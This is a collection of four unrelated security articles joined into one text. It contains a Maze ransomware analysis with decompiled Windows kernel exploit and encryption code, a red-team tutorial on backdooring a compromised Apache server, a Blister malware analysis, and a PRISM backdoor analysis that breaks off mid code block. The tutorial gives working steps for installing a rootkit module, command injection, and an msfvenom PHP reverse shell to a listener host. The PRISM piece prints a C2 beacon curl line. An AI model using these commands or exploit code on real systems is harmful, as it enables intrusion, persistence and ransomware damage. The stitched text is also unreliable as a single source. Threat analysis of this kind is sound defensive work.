As part of exploitation, we can see the WS_CHILD style being applied to the created window, then NtUserSetWindowLongPtr system call being made, with the GWLP_ID parameter. Next, VK_MENU keyboard events are being simulated, which will trigger the corruption in xxxNextWindow. This confirms the exploit is targeting the CVE-2016-7255 vulnerability:
```c
style = GetWindowLongW(::hwnd, GWL_STYLE);
SetWindowLongW(::hwnd, GWL_STYLE, style | WS_CHILD);
perform_syscall(id_NtUserSetWindowLongPtr, (int)::hwnd, GWLP_ID, v21, SHIDWORD(v21));
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 2u, 0);
keybd_event(VK_MENU, 0, 2u, 0);
```
After obtaining kernel read/write primitive, the actual elevation is obtained by replacing the current process token with the system process token in the EPROCESS kernel structure:
```c
// enumerate EPROCESS structures, find system process
do {
v8 = dword_100040CC;
v9 = ReadFromKernel(__PAIR64__(v3, v4) + (unsigned int)dword_100040CC);
v3 = (v9 - (unsigned int)v8) >> 32;
v4 = v9 - v8;
} while ((unsigned int)ReadFromKernel(v9 - 8) != 4); // PID=4, system
// read system process token
v10 = ReadFromKernel(__PAIR64__(v3, v4) + (unsigned int)dword_100040D0);
v11 = v10;
v12 = (v10 & 0xFFFFFFF0) - 48;
v13 = __CFADD__(v10 & 0xFFFFFFF0, -48) + HIDWORD(v10) - 1;
HIDWORD(v16) = __CFADD__(v10 & 0xFFFFFFF0, -48) + HIDWORD(v10) - 1;
LODWORD(v16) = (v10 & 0xFFFFFFF0) - 48;
v14 = ReadFromKernel(v16);
// write system token to current process
WriteToKernel(__SPAIR64__(v13, v12), v14 + 10, (v14 + 10) >> 32);
WriteToKernel(v18, v11, SHIDWORD(v11));
```
### Exploiting CVE-2018-8453
The second exploit is a newer privilege escalation exploit targeting the CVE-2018-8453 vulnerability in win32k.sys. The vulnerability has been described by Kaspersky, patch analysis was made by 360A-TEAM in their article, and was also analyzed by QiAnXin TI Center in their write-up. Stored in the data section, the exploit shellcode is decrypted using the same key and ChaCha8 algorithm as the other exploit, then executed with the target process id as parameter:
```c
if (j_GetVersionExA(&ver) &&
ver.dwMajorVersion != 10 && // no windows 10
(ver.dwMajorVersion != 6 || ver.dwMinorVersion != 2)) // no windows 8
{
// set shellcode size
this[2] = 0x9600;
// allocate RWX memory for shellcode
shellcode_addr = VirtualAlloc(0, 0x9600u, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
this[1] = (int)shellcode_addr;
if (shellcode_addr) {
// decrypt shellcode
ChaCha8_SetKey(ctx, "37432154789765254678988765432123", 256);
ChaCha8_SetNonce(ctx, "09873245");
j_ChaCha8_Decrypt((int)ctx, (int)&EncryptedShellcode, this[1], this[2]);
shellcode_func = (int (__stdcall *)(DWORD))this[1];
// get process ID
pid = j_GetCurrentProcessId();
// call shellcode function with PID
result = shellcode_func(pid);
// [...]
}
}
```
The shellcode targets both 32-bit and 64-bit OS platforms. The shellcode is 32-bit, but when running in WoW64 subsystem, it employs the same Heaven’s Gate technique to execute 64-bit code, when necessary:
```c
01005E01 push 0CB0033h ; push cs=33 on stack, 64-bit selector
01005E06 call 01005E04 ; push next address, jmp to RETF (CB)
01005E04 retf ; switch to 64-bit mode at 10005E0B
01005E0B push r13 ; 64-bit code below
01005E0D mov r13, rsp
01005E10 mov rax, gs:30h
01005E19 mov rsp, [rax+8]
01005EB1 mov rsp, r13
01005EB4 pop r13
01005EB6 retf ; switch back to 32-bit mode
```
Depending on the Windows version and platform, system calls are achieved in three different ways:
```c
01006811 mov ecx, ds:winver_index ; check stored Windows variant index
01006817 cmp ecx, 10h
0100681A jnb short loc_100682F
0100681C mov edx, 7FFE0300h ; fixed address of KiFastSystemCall
01006821 cmp ecx, 2
01006824 jb short loc_100682B
01006826 cmp ecx, 4
01006829 jnz short loc_100682D
loc_100682B:
0100682B jmp edx ; use fixed address of KiFastSystemCall
loc_100682D:
0100682D jmp dword ptr [edx] ; use provided address of KiFastSystemCall
loc_100682F:
0100682F mov edx, esp ; perform syscall directly
01006831 sysenter
01006833 retn
```
To perform the exploit, the following functions are hooked, by patching the KernelCallbackTable:
- __ClientLoadLibrary
- __ClientCallWinEventProc
- __fnHkINDWORD
- __fnDWORD
- __fnNCDESTROY
- __fnINLPCREATESTRUCT
Inside the __fnDWORD hook, we can see a WM_SYSCOMMAND message being sent to the ScrollBar control, then the parent window is destroyed:
```c
DWORD __stdcall Hook__fnDWORD(int msg) {
...
if (v1 == WM_FINALDESTROY) {
v4 = vars[62];
*((BYTE *)vars + 332) = 2;
NtUserSetActiveWindow(v4);
SendMessageA((HWND)vars[62], WM_SYSCOMMAND, SC_KEYMENU, 0);
NtUserDestroyWindow(vars[64]);
*((BYTE *)vars + 332) = 4;
}
...
}
```
Destroying the main window leads to __fnNCDESTROY callback, where the SetWindowFNID system call is used to replace the FNID of that window from FNID_FREED to a valid value (FNID_BUTTON), resulting in a double-free:
```c
_WORD *__stdcall Hook__fnNCDESTROY(_DWORD **a1) {
...
if (v8 == *(v4 + 0x104) && *result == FNID_FREED && !*(v4 + 0x144)) {
result = syscall_SetWindowFNID(*(v4 + 0xF4), FNID_BUTTON);
*(_DWORD *)(v4 + 0x144) = result;
v1 = 1;
}
...
}
```
This confirms that this exploit targets the CVE-2018-8453 vulnerability, and eventually obtains SYSTEM privileges for the running process.
## Ransomware activity
Once elevated privileges are obtained, the ransomware activity is performed without access rights limitations. At startup, a Mutex object is created to avoid running multiple instances at the same time. The mutex object name is `Global\%s`, where %s is hex hash on the computer fingerprint. The fingerprint string is built using the following encoded features:
- Current user name
- Computer name
- Windows product name
- Process integrity level
- Installed Anti-Virus name
- Machine role
- Number of drives
- Connected shared folders
- User language
- System language
- System uptime
### Backup deletion
Before enumerating files, any existing Windows backups are destroyed, namely the Volume Shadow Copies. This is done using the Windows Management Infrastructure:
```c
// find shadow copies using WMI
if (CoSetProxyBlanket((IUnknown *)pSvc, 0xAu, 0, 0, 3u, 3u, 0, 0) >= 0 &&
(pEnum = 0, pSvc->lpVtbl->ExecQuery(pSvc, aWql, "select * from Win32_ShadowCopy", 48, 0, &pEnum) >= 0)) {
// enumerate found shadow copies
uRet = 0;
pEnum->lpVtbl->Next(pEnum, WBEM_INFINITE, 1, &pClsObj, &uRet);
do {
...
objectPath = (OLECHAR *)AllocateRWmem(v7);
wsprintfW(objectPath, "Win32_ShadowCopy.ID='%s'", lpID);
// delete shadow copy
v9 = pSvc->lpVtbl->DeleteInstance(pSvc, objectPath, 0, pContext, 0);
// go to next item
uRet = 0;
pEnum->lpVtbl->Next(pEnum, -1, 1, &pClsObj, &uRet);
...
} while (uRet);
}
```
### File scanning
All drives are searched for files to encrypt, including connected network shared folders. The encrypted file names have a new, random extension. The following file names and types are excluded from encryption:
- *.lnk
- *.exe
- *.sys
- *.dll
- autorun.inf
- boot.ini
- desktop.ini
- ntuser.dat
- iconcache.db
- bootsect.bak
- ntuser.dat.log
- thumbs.db
- Bootfont.bin
All other files are encrypted, with random extensions in the same folder. Folders containing certain words in their names will undergo additional processing, probably accessed later for data exfiltration:
- sql
- classified
- secret
After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware message.
### File encryption
Encrypted files have a 4-byte signature at the end of file, containing hex bytes 66 11 61 66, in order to mark the files as already processed. Before content encryption, a session key is generated for each file, using PRNG output from Microsoft Crypto API:
```c
// open file
hFile = j_CreateFileW(lpFileName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, 0,
CREATE_ALWAYS|CREATE_NEW, 0, 0);
fileObj->handle = hFile;
if (hFile != (HANDLE)INVALID_HANDLE_VALUE
&& !IsAlreadyEncrypted(fileObj)
&& (fileObj[1].buffer = 0,
key = (BYTE *)fileObj->key_and_nonce,
provider = fileObj->obj_47720->vtable->MsCryptoGetProv(fileObj->obj_47720),
// generate 256-bit key
j_CryptGenRandom(provider, 32u, key))
&& (nonce = (BYTE *)fileObj->key_and_nonce + 32,
prov = fileObj->obj_47720->vtable->MsCryptoGetProv(fileObj->obj_47720),
// generate 64-bit nonce
j_CryptGenRandom(prov, 8u, nonce))) {
// encrypt using generated keys
result = EncryptFile(fileObj);
}
```
The session key is then used to encrypt one file, using the ChaCha algorithm in 8 rounds:
```c
// use generated key and nonce
ChaCha8_SetKeyAndNonce(fileObj->ctx, fileObj->k->key, 256, fileObj->k->nonce, 64);
[...]
// read 1MB at once
for (i = j_ReadFile(v1->handle, v4, 0x100000u, &nNumberOfBytesToWrite[1], 0);
!i || nNumberOfBytesToWrite[1];
i = j_ReadFile(v1->handle, v4, 0x100000u, &nNumberOfBytesToWrite[1], 0)) {
// encrypt chunk
ChaCha8_Transform(v1->ctx, (int)v4, nNumberOfBytesToWrite[1], (int)v5);
liDistanceToMove.QuadPart = -(__int64)nNumberOfBytesToWrite[1];
j_SetFilePointerEx(v1->handle, liDistanceToMove, 0, SEEK_CUR);
// write chunk back to file
j_WriteFile(v1->handle, v5, nNumberOfBytesToWrite[1], &NumberOfBytesWritten, 0);
}
```
### Encryption keys
The key generation and file encryption looks like this: The computer key is RSA-2048, generated at the initialization phase:
```c
// initialize MS Crypto API
ret = j_CryptAcquireContextW(&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (!ret)
return 0;
hKey = 0;
// generate exportable RSA-2048 key
if (j_CryptGenKey(phProv, CALG_RSA_KEYX, KEY_2048_BITS|CRYPT_EXPORTABLE, &hKey)) {
keyLen = 0;
// get public key length
if (j_CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, 0, &keyLen)) {
_keyLen = keyLen;
OutPubKey[1] = keyLen;
pubKey = (BYTE *)AllocateRWmem(_keyLen + 1);
*OutPubKey = (DWORD)pubKey;
// export public key
if (j_CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, pubKey, &keyLen)) {
privLen = 0;
// get private key length
if (j_CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, 0, &privLen)) {
if (privLen == 0x494) {
OutPrivKey[1] = 0x494;
privKey = (BYTE *)AllocateRWmem(0x494u);
*OutPrivKey = (DWORD)privKey;
// export private key
_ret = j_CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, privKey, &privLen);
[...]
```
The generated session keys are written towards the end of the processed file (starting at offset -264), encrypted with the computer key, using Microsoft Crypto provider PROV_RSA_FULL:
```c
// copy session key to trailing data
kn = (QWORD *)v1->key_and_nonce;
trailing_data[4] = kn[4];
trailing_data[3] = kn[3];
trailing_data[2] = kn[2];
v3 = *kn;
trailing_data[1] = kn[1];
trailing_data[0] = v3;
// encrypt trailing data using Microsoft Crypto API
if (!v1->obj_47720->vtable->MsCryptEncrypt(
(HCRYPTKEY *)v1->obj_47720,
(BYTE *)trailing_data,
(DWORD *)&forty,
256,
0,
0))
return 0;
// write trailing data (encrypted keys) to the end of file
j_SetFilePointerEx(v1->handle, 0, 0, SEEK_END);
v7 = j_WriteFile(v1->handle, trailing_data, 264u, &NumberOfBytesWritten, 0);
```
The private computer key is then encrypted using a so-called “master” public key:
```
PUBLICKEYSTRUC {
BYTE bType = PUBLICKEYBLOB;
BYTE bVersion = 2;
WORD reserved = 0;
ALG_ID aiKeyAlg = CALG_RSA_KEYX;
}
```
The malware authors maintain possession of the “master” private key, needed to decrypt computer keys and files. File decryption can be performed only if this private key is leaked or obtained otherwise. Factorizing the master private key from the public key is not practical, because of the key size.
### Key persistence
Using another interesting trick, encrypted computer keys are hidden inside NTFS metadata, by using Extended Attributes. An empty file is created, `%ProgramData%\0x29A.db` and a custom extended attribute named KREMEZ is set to that file, using `NtQueryEaFile`, `NtSetEaFile` functions:
```c
if (!j_SHGetFolderPathW(0, CSIDL_COMMON_APPDATA, 0, 0, this + 2)) {
j_lstrcatW(fileName + 2, a0x29aDb);
// get keys from EA of C:\ProgramData\0x29A.db
if (GetCachedInfoFromEaFile(fileName, (int)pubKey, (int)encPrivKey))
goto LABEL_9;
v9 = 0;
// generate new computer keypair
if (GenerateRSAKeys((DWORD *)&privKey, pubKey)) {
// encrypt computer private key with master public key
if (!EncryptChaChaRsa((int)&privKey, (int)encPrivKey))
goto LABEL_10;
v6 = a4;
// verify key length
if (pubKey[1] == 0x114) {
// add encrypted private key to data
MemCpy((unsigned int)eaData, (unsigned int)encPrivKey, 0x694u);
// add plaintext public key to data
MemCpy((unsigned int)&eaData[1684], *pubKey, 0x114u);
// persist data to EA of 0x29A.db file
WriteCacheInfoToEaFile(fileName, (BYTE *)eaData);
}
[...]
// destroy computer private key
v10 = privKey;
if (privKey)
FREE_MEM(v10);
```
The data can be technically retrieved using public NTFS EA extraction tools, but is unusable without the master private key.
## Network connections
Besides scanning network shares, the malware tries to connect to several C2 hosts for further instructions and possible data exfiltration. The list of contacted hosts was found encrypted in the binary, all IPs located in the Russian Federation. The target URL contains one IP from the list, random English words and extensions like php or asp. We have seen the following outbound connections from this sample:
```
POST http://91.218.114.4/withdrawal/jfmd.do
POST http://91.218.114.11/view/messages/ugihhabxg.jspx?ar=0l868b71x
POST http://91.218.114.25/ex.action?gd=v5qh8a
POST http://91.218.114.26/post/account/eifxupy.aspx?e=p45ph1k&xen=j030&jxq=x&qe=4h78
POST http://91.218.114.31/lecfefe.jsp?ac=uqt38c3
POST http://91.218.114.32/rcqncstrcq.asp?xa=u&hgnt=883&e=y0hpt3n06c&a=e
POST http://91.218.114.37/support/check/is.aspx?y=ndf
POST http://91.218.114.38/aixffpqds.html?hdnw=72lr15&es=lwm7u8&tulq=6a43xi8
POST http://91.218.114.77/news/withdrawal/iku.jspx
POST http://91.218.114.79/sepa/ticket/idjyo.jspx?eri=wfb6bb2sr
```
The data sent to the C2 hosts is the computer fingerprint described at the beginning of this chapter, and looks like this, before encryption:
```
12938e04ce69e222
Username
MACHINE-NAME
none
Windows Name
|\\remote-host\shared-folder|
|X_X_0/0|X_F_11111/22222|D_X_0/0
|X_X_111111/444444|
```
## Indicators of compromise
An up-to-date list of indicators of compromise is available to Bitdefender Advanced Threat Intelligence users. More information about the program is available at https://www.bitdefender.com/oem/advanced-threat-intelligence.html.
- Main executable sample: e69a8eb94f65480980deaf1ff5a431a6
- CVE-2016-7255 exploit dll, 32-bit: 0e6552c7590de315878f73346f482b14
- CVE-2016-7255 exploit dll, 64-bit: 79abd17391adc6251ecdc58d13d76baf
- CVE-2018-8453 exploit shellcode, 32/64: 443f39b28a5b2434f1985f2fc43dc034
- Contacted C2 hosts:
- 91.218.114.4
- 91.218.114.11
- 91.218.114.25
- 91.218.114.26
- 91.218.114.31
- 91.218.114.32
- 91.218.114.37
- 91.218.114.38
- 91.218.114.77
- 91.218.114.79
## References
- IDA disassembler
- HC-128 algorithm
- PE reflection
- Transparent Deobfuscation With IDA Processor Module Extensions, Jun 2015, Rolf Rolles
- Spaghetti code
- ADLER-32 checksum
- Microsoft advisory CVE-2016-7255
- One Bit To Rule A System: Analyzing CVE-2016-7255 Exploit In The Wild, Dec 2016, Jack Tang
- Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255, Dec 2016, Stanley Zhu
- WoW64
- ChaCha algorithm
- WoW64 Heaven’s Gate
- System call
- EPROCESS structure
- Microsoft advisory CVE-2018-8453
- From patch diff to EXP, CVE-2018-8453 vulnerability analysis and exploitation, [Part 1], Jan 2019, ze0r @ 360A-TEAM
- Zero-day exploit (CVE-2018-8453) used in targeted attacks, Oct 2018, AMR, Kaspersky
- CVE-2018-8453: Win32k Elevation of Privilege Vulnerability Targeting the Middle East, Qi Anxin
- Computing fingerprint
- Mutex object
- Machine role
- Windows backup, shadow copy
- Windows Management Instrumentation
- Windows file sharing
- Data exfiltration
- Pseudo-random number generator
- Microsoft crypto API
- RSA algorithm
- RSA encryption provider
- Base64 encoding
- NTFS extended attributes
- Tools for analysis and manipulation of extended attribute ($EA) on NTFS, Joakim Schicht
- Command and Control services |
# Linux Red Team Defense Evasion - Rootkits
## Important
All labs and tests are to be conducted within the parameters outlined within the text. The use of other domains or IP addresses is prohibited.
## Before You Begin
In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:
- Kali Linux
- Parrot OS
The following is a list of recommended technical prerequisites that you will need in order to get the most out of this course:
- Familiarity with Linux system administration.
- Familiarity with Windows.
- Functional knowledge of TCP/IP.
- Familiarity with penetration testing concepts and life-cycle.
Note: The techniques and tools utilized in this document were performed on Kali Linux 2021.2 Virtual Machine.
## MITRE ATT&CK Defense Evasion Techniques
Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.
The techniques outlined under the Defense Evasion tactic provide us with a clear and methodical way of evading detection on a target system. The following is a list of key techniques and sub techniques that we will be exploring:
- Rootkits
## Scenario
Our objective is to set up an Apache rootkit that will provide us with command injection capabilities and consequently backdoor access.
## What is a Rootkit?
A rootkit is a clandestine computer program designed to provide continued privileged access to a computer while actively hiding its presence. Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. Rootkits are typically utilized as a part of the defense evasion tactic and are set up after an initial foothold has been obtained. The type of rootkit you utilize will depend on the target configuration and your requirements. The primary objective of a rootkit is to maintain some form of clandestine access for the attacker. In this case, we will be setting up a rootkit in the form of an Apache module that will be used to provide us with backdoor access to the target system.
As mentioned previously, when it comes to Rootkits and backdoors, simplicity and efficiency is key. Furthermore, having an understanding of the various pieces of software installed on the target provides you with an opportunity to utilize one of these services/programs to maintain access. Additionally, utilizing software that is installed on the target provides you with anonymity as system administrators or security analysts will find it difficult to detect any anomalies or rogue processes.
## Setting Up apache-rootkit
In this case, the Linux target that I have compromised is used by the organization to host a website. The website is built on top of the LAMP stack and as a result, Apache2 has been configured to host the website files. We can leverage the ability to load Apache2 modules to load our own rootkit module that will provide us with the ability to perform command injection attacks on the webserver and consequently spawn a reverse shell. Command injection vulnerabilities allow attackers to execute arbitrary commands on the target operating system.
To achieve this, we will be using the apache-rootkit module that can be found here: https://github.com/ChristianPapathanasiou/apache-rootkit. Apache-rootkit is a malicious Apache module with rootkit functionality that can be loaded into an Apache2 configuration with ease and with minimal artifacts.
The following procedures outline the process of setting up the apache-rootkit module on a target Linux system:
1. The first step in this process involves installing the Apache2 development kit, this can be done by running the following command on the target system:
```
sudo apt-get install apache2-dev
```
We require the Apache2 development kit in order to compile the module source code into a shared object. Shared objects are the Windows equivalent of DLLs; they are libraries that are loaded by programs when they are started. They are typically used by programs to extend functionality.
2. Before we clone the apache-rootkit repository, we will need to navigate to the temporary directory on the target system. This can be done by running the following command:
```
cd /tmp
```
3. The next step will involve cloning the apache-rootkit repository onto the target system, this can be done by running the following command:
```
git clone https://github.com/ChristianPapathanasiou/apache-rootkit.git
```
4. After cloning the repository, you will need to navigate to the “apache-rootkit” directory:
```
cd apache-rootkit
```
5. We can now compile the module by running the following command:
```
apxs -c -i mod_authg.c
```
This will compile the module and copy over the module to the /usr/lib/apache2/modules directory.
6. The next step will involve loading the “mod_authg.so” module in the Apache2 configuration file, this can be done by running the following command:
```
vim /etc/apache2/apache2.conf
```
7. After which, you will need to add the following configuration at the top of the file to load the module correctly:
```
LoadModule authg_module /usr/lib/apache2/modules/mod_authg.so
<Location /authg>
SetHandler authg
</Location>
```
8. After adding the aforementioned configuration, you will need to save the file.
9. After loading the “mod_authg.so” module, you will need to restart the apache2 service, this can be done by running the following command:
```
sudo systemctl restart apache2
```
If you have followed the steps correctly, you shouldn’t receive any errors from systemd.
## Testing apache-rootkit
Now that we have compiled and loaded the apache-rootkit module, we can test the module by performing some command injection techniques.
1. You can perform command injection on the apache2 server by opening the following URL in your browser:
```
http://<SERVER-IP>/authg?c=whoami
```
This URL accesses the apache-rootkit module handler called “authg” and attempts to pass a system command for execution.
2. If the apache-rootkit module works, you should receive the output of the command we specified.
Now that we have verified that the module is active and functional, we can utilize it to set up a PHP backdoor that will provide us with a meterpreter session whenever executed.
## Exploiting Command Injection with Commix
Commix (short for [comm]and [i]njection [e]xploiter) is a security testing tool that can be used by web developers, penetration testers, or even security researchers to test web applications with the view to find bugs, errors, or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in the Python programming language.
We can utilize Commix in conjunction with the apache-rootkit to execute arbitrary commands on the target system. This can be done by leveraging the inbuilt pseudo shell provided by Commix.
1. The first step in this process involves installing Commix on Kali Linux, this can be done by running the following command:
```
sudo apt-get install commix -y
```
2. After you have installed Commix, you can test the target site for command injection vulnerabilities with Commix by running the following command:
```
commix -u http://<SERVER-IP>/authg?c=whoami
```
Commix will test the URL provided for any command injection vulnerabilities, in this case, it will detect a command injection vulnerability and will ask you whether you want a pseudo-terminal shell.
3. In this case, we will say yes, after which Commix will provide you with the pseudo shell that you can use to execute arbitrary commands.
This can be very useful during red team engagements as you can easily execute commands on the target system covertly.
## Uploading a PHP Backdoor with Commix
Given that the target server is running the LAMP stack, we can create a PHP meterpreter payload and upload it to the web server as a backdoor with Commix that we can then use to gain access to the target system whenever required.
1. The first step will involve generating the PHP meterpreter payload with Msfvenom, this can be done by running the following command:
```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.21 LPORT=1234 -e php/base64 -f raw > shell.php
```
2. Once you have generated the payload, you will need to modify it by adding the PHP tags so that the script is executed correctly.
3. We can now set up the listener with Metasploit by running the following commands:
```
msfconsole
use multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <KALI-IP>
set LPORT <PORT>
run
```
4. The next step will involve uploading the PHP shell that we just generated to the web server, this can be done with Commix by running the following command:
```
commix -u http://<SERVER-IP>/authg?c=id --file-write='/home/kali/Desktop/shell.php' --file-dest='/var/www/html/shell.php'
```
5. In this case, we will be uploading the “shell.php” file to the root of the web server; it is recommended, however, to upload it to a directory that is not frequently accessed. If the “shell.php” file is uploaded successfully, you should receive a message indicating success.
6. We can retrieve a meterpreter session on the target by navigating to the “shell.php” file on the web server by accessing the following URL with your browser:
```
http://<SERVER-IP>/shell.php
```
Accessing this through the browser should execute the PHP code and consequently provide you with a meterpreter session on your listener.
We have been able to successfully set up the apache-rootkit module and leverage the command injection functionality afforded by the module to execute arbitrary commands on the target system as well as upload a PHP backdoor that will provide you with a meterpreter session. |
# Technical Analysis of Code-Signed “Blister” Malware Campaign (Part 2)
The Blister is a code-signed malware that drops a malicious DLL file on the victim’s system, which is then executed by the loader via rundll32.exe, resulting in the deployment of a RAT/C2 beacon, thus allowing unauthorized access to the target system over the internet. Blister Malware campaigns have been active since 15 September 2021. Part I of CloudSEK’s analysis provides a detailed understanding of how the loader functions. Part 2 will delve into the details of this campaign’s second stage, which is the .dll payload, and its internal working.
## Dissecting the Malicious DLL – Blister Malware
As discussed in Part 1, the Blister dropper drops the malicious .dll file in the Temp directory of the user, inside a newly created folder. This malicious .dll then carries out the second stage of the campaign, in which a RAT/agent is deployed on the system to gain unauthorized access and steal data. The Blister dropper calls the function LaunchColorCpl, which is one of the functions exported by the .dll, via rundll32.exe.
### Functions exported by the malicious DLL
#### Staging
The exported function LaunchColorCpl retrieves the staging code from the resource section of the PE file. This staging code is protected by a simple XOR encoding scheme. After the iterative decoding of the staging code, the control is transferred to decoded code in the memory. The control flow is transferred to the staging code by calling the address in the EAX register.
#### Anti-Analysis
The staging code is heavily obfuscated and has a logic similar to spaghetti code to hinder analysis. All the calls to Windows APIs are obscured and dynamically resolved. The first thing that the staging code does is to make the malware go to sleep by calling the Sleep Windows API. This is a typical strategy used by most malicious codes to bypass security sandboxes and dynamic testing of security products. The hex value “927C0” is passed to kernel32.759F9010 i.e., the Sleep function. This value (927C0) translates to “600000” in decimal. Since the Sleep API takes arguments in milliseconds (ms), the 600000 ms get converted to 10 minutes. When the malware resumes from sleep, it fetches the final payload from the resource section of the PE file. In the memory, the protected payload is decoded. The presence of a DOS header in the payload bytes confirms that the payload is in PE format and not a shellcode. An interesting observation from this analysis is the addition of the MZ byte after the decryption process. In the above image, the initial byte is not MZ; rather, the MZ byte is later added at the beginning of the payload separately. This behavior is primarily for operational security.
## Process Hollowing
In general, process hollowing allows an attacker to change the content of a legitimate process from genuine code to malicious code before it is executed by carving out the code logic within the target process. After decrypting the final payload, the malware prepares for execution. This is done by creating a new process to deploy the extracted code and then performing process hollowing to execute the payload in the remote process. The staging code retrieves the Rundll32.exe location from the compromised system. A new process of Rundll32.exe is created via the CreateProcessInternalW API in the suspended state.
The malware uses the following Win32 APIs for process hollowing:
- ZwUnmapViewOfSection
- ZwReadVirtualMemory
- ZwWriteVirtualMemory
- ZwGetContextThread
- ZwSetContextThread
- NtResumeThread
ZwWriteVirtualMemory is used to write malicious code into the target process. To make the thread of the new process point to newly written code, the attacker alters the entry point of the current thread via ZwGetContextThread and ZwSetContextThread. These functions are used to perform processor housekeeping activities on the data structure that stores the current context of the running thread. Process hollowing takes advantage of these features to make the process thread run the attacker code.
### Step by Step Working of the DLL
The staging code allocates new memory via ZwAllocateVirtualMemory to transfer the previously decrypted final payload. The payload is then copied to a newly created buffer. Based on CloudSEK’s testing on the extracted payload, one of the analyzed samples contained the Raccoon stealer as the final stage payload. However, other samples used Cobalt Strike beacon and BitRAT to compromise the target and gain unauthorized access. The staging code then injects the code into the newly created remote process i.e., Rundll32.exe. Later, the memory protections are changed to appropriate ones for the execution of the residing code via NTProtectVirtualMemory. The thread context is retrieved via ZwGetContextThread API to change the entry point of the thread to execute the payload injected into the remote process. The ZwSetContextThread is used to modify the thread entry point to that of the newly copied PE file. At the final stage of process hollowing, the suspended thread of the Rundll32.exe is resumed via NtResumeThread. Then the Rundll32.exe process starts executing the malicious code hollowed into it by the malware. In the clean-up process, the staging code uses NtFreeVirtualMemory to release the allocated memory, which holds the payload assembly, one by one. The current process used for staging is terminated via the NtTerminateProcess.
## Blister Malware – Maintaining Persistence
The Blister malware achieves persistence on the target system by creating an “lnk” file named proamingsGames in the C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Startup directory. Whenever the user logs in, explorer.exe executes any file in the Startup folder. As a result, when the user signs into the account, following the boot process, the malware runs as a child process of explorer.exe. The target for the lnk file is set as C:\ProgramData\proamingsGames\proamingsGames.dll,LaunchColorCpl. Here, the malware copies the Rundll32.exe as proamingsGames.exe and the malicious .dll (initially into C:\ProgramData\proamingsGames directory) is dropped in the Temp folder. Every time that the system powers up and the user logs in, the lnk file runs a malicious .dll through a renamed instance of Rundll32.exe.
## Conclusion
Given that threat actors are actively using valid code-signing certificates in Windows systems to avoid detection by antivirus software, it is essential for network and endpoint security products to be updated with the malware’s latest Indicators of Compromise (IoCs). The latest IoCs for the Blister Malware are enumerated in Part 1 of the technical analysis. |
# PRISM Attacks Fly Under the Radar
**AT&T Cybersecurity Blog**
**August 23, 2021 | Fernando Dominguez**
## Executive Summary
AT&T Alien Labs has recently discovered a cluster of Linux ELF executables that have low or zero anti-virus detections in VirusTotal, though our internal threat analysis systems have flagged them as malicious. Upon inspection of the samples, Alien Labs has identified them as modifications of the open-source PRISM backdoor used by multiple threat actors in various campaigns. We have conducted further investigation of the samples and discovered that several campaigns using these malicious executables have managed to remain active and under the radar for more than 3.5 years. The oldest samples Alien Labs can attribute to one of the actors date from November 8, 2017.
## Analysis
### WaterDrop
The WaterDrop variant is easily identifiable as it includes a function named `xencrypt` which performs XOR encryption with the hard-coded single-byte 0x1F key. Starting in version 7 of the WaterDrop variant, samples include the plain-text string “WaterDropx vX started”, where X is the integer version number. So far, we have observed versions 1, 2.2, and 3 still using the name PRISM. Versions 7, 9, and 12 are named WaterDropx.
It also uses the easily identifiable User Agent string “agent-waterdropx” for the HTTP-based command and control (C&C) communications, and it reaches to subdomains of the waterdropx.com domain. While all these may seem to be fairly obvious indicators, the threat actor behind this variant has managed to maintain a zero or almost-zero detection score in VirusTotal for its samples and domains. This is most likely due to their campaigns being fairly small in size. The waterdropx.com domain was registered to the current owner on August 18, 2017, and as of August 10, 2021, it was still online.
Besides the base PRISM features, WaterDrop introduces XOR encryption for the configuration and an additional process that regularly queries the C&C for commands to execute.
This communication with the C&C server is plain-text HTTP, and it is performed via the `curl` command. In all the versions Alien Labs has observed, the option `-A "agent-waterdropx"` is used, meaning the User Agent header will remain constant across versions. We have also observed some samples of this variant that load a Kernel Module if the process is executed with root privileges.
### Version Evolution
**PRISM v1**
Alien Labs has found samples tagged as “PRISM v1” that we can attribute to the same threat actor with high confidence as they use the same C&C domain (waterdropx.com). The samples also share distinctive features such as the agent-waterdropx User Agent string. Compared to the public PRISM, this version introduces the creation of a child process that constantly queries the C&C server for commands to execute. The initial request to the C&C server is performed by the following command:
```
curl -A 'agent-waterdropx' 'http://r.waterdropx.com:13858/tellmev2.x?v=1&act=touch'
```
PRISM v1 does not feature any kind of obfuscation, packing, or encryption of the binaries.
**PRISM v2.2**
PRISM v2.2 introduces the usage of XOR encryption to obfuscate sensitive data, such as the BASH command strings used. The key is a single byte, and it is hard coded to the 0x1F value. This particular key is used across all the samples from this threat actor we observed. For this version, the initial C&C URI request format is:
```
/tellmev2.x?v=2.2&act=touch
```
**PRISM v3**
PRISM v3 is identical to v2.2, with one exception: clients include a bot id for identification purposes. This bot id is saved to `/etc/.xid` and used in the malware beacon. The initial request format is:
```
/tellmev2.x?v=3&act=touch&xid=
```
**WaterDrop v7**
WaterDrop v7 introduces the use of a Kernel Module that is installed using `insmod` if the process has root privileges. The rest of the code is identical to PRISM v3, only changing the hard-coded version value. As such, the initial request format is:
```
